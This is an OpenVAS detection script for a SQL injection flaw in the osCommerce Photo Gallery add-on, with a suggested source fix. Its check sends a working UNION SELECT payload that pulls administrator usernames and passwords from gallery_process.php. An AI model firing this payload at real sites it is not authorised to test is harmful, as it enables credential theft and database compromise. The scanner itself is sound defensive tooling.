osCommerce Photo Gallery SQL Injection Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: osc_photoGallery_sql_injection.nasl 6704 2017-07-12 14:13:36Z cfischer $
#
# osCommerce Photo Gallery SQL-Injection Detection
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow the attacker to access the whole Database.";
tag_affected = "Photo Gallery (http://oscommerce-photo-gallery.micrographx.be) <= version 0.6";
tag_insight = "Input passed to the parameters in gallery_process.php are not properly
  sanitised before being used in the SQL queries.";
tag_solution = "Edit gallery_process.php and change all occurrences of $_GET['cID'] to (int)$_GET['cID']
  and all occurrences of $_GET['pID'] to (int)$_GET['pID']. Then, at the top of gallery_process php,
  search for:

  require('includes/application_top.php');
  require(DIR_WS_LANGUAGES . $language . '/gallery_user.php');

  and change to:

  require('includes/application_top.php');
  if (!tep_session_is_registered('customer_id')) {
      tep_redirect(tep_href_link(FILENAME_LOGIN, '', 'SSL'));
  }
  require(DIR_WS_LANGUAGES . $language . '/gallery_user.php'); ";

tag_summary = "This host is running Photo Gallery for osCommerce which is prone to SQL Injection vulnerability in 
  gallery_process.php.";

if (description)
{
 script_id(100000);
 script_version("$Revision: 6704 $");
 script_tag(name:"last_modification", value:"$Date: 2017-07-12 16:13:36 +0200 (Wed, 12 Jul 2017) $");
 script_tag(name:"creation_date", value:"2009-02-20 17:40:17 +0100 (Fri, 20 Feb 2009)");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_name("osCommerce Photo Gallery SQL Injection Vulnerability");

 script_tag(name : "impact" , value : tag_impact);
 script_tag(name : "affected" , value : tag_affected);
 script_tag(name : "insight" , value : tag_insight);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_GATHER_INFO);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("oscommerce_detect.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("Software/osCommerce");

 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

CPE = 'cpe:/a:oscommerce:oscommerce';

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

url = string(dir, "/gallery_process.php?edit=yes&pID=0%20union%20select%20user_name%20as%20title,%20user_password%20as%20description%20from%20administrators%20&cID=0");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:1);
if( buf == NULL )exit(0);

if(egrep(pattern:".*union select.*", string: buf) ||
   egrep(pattern:".*Table.*administrators.*doesn't exist.*", string: buf) # old versions of osc doesn't have table administrators
)
{ 
  report = report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}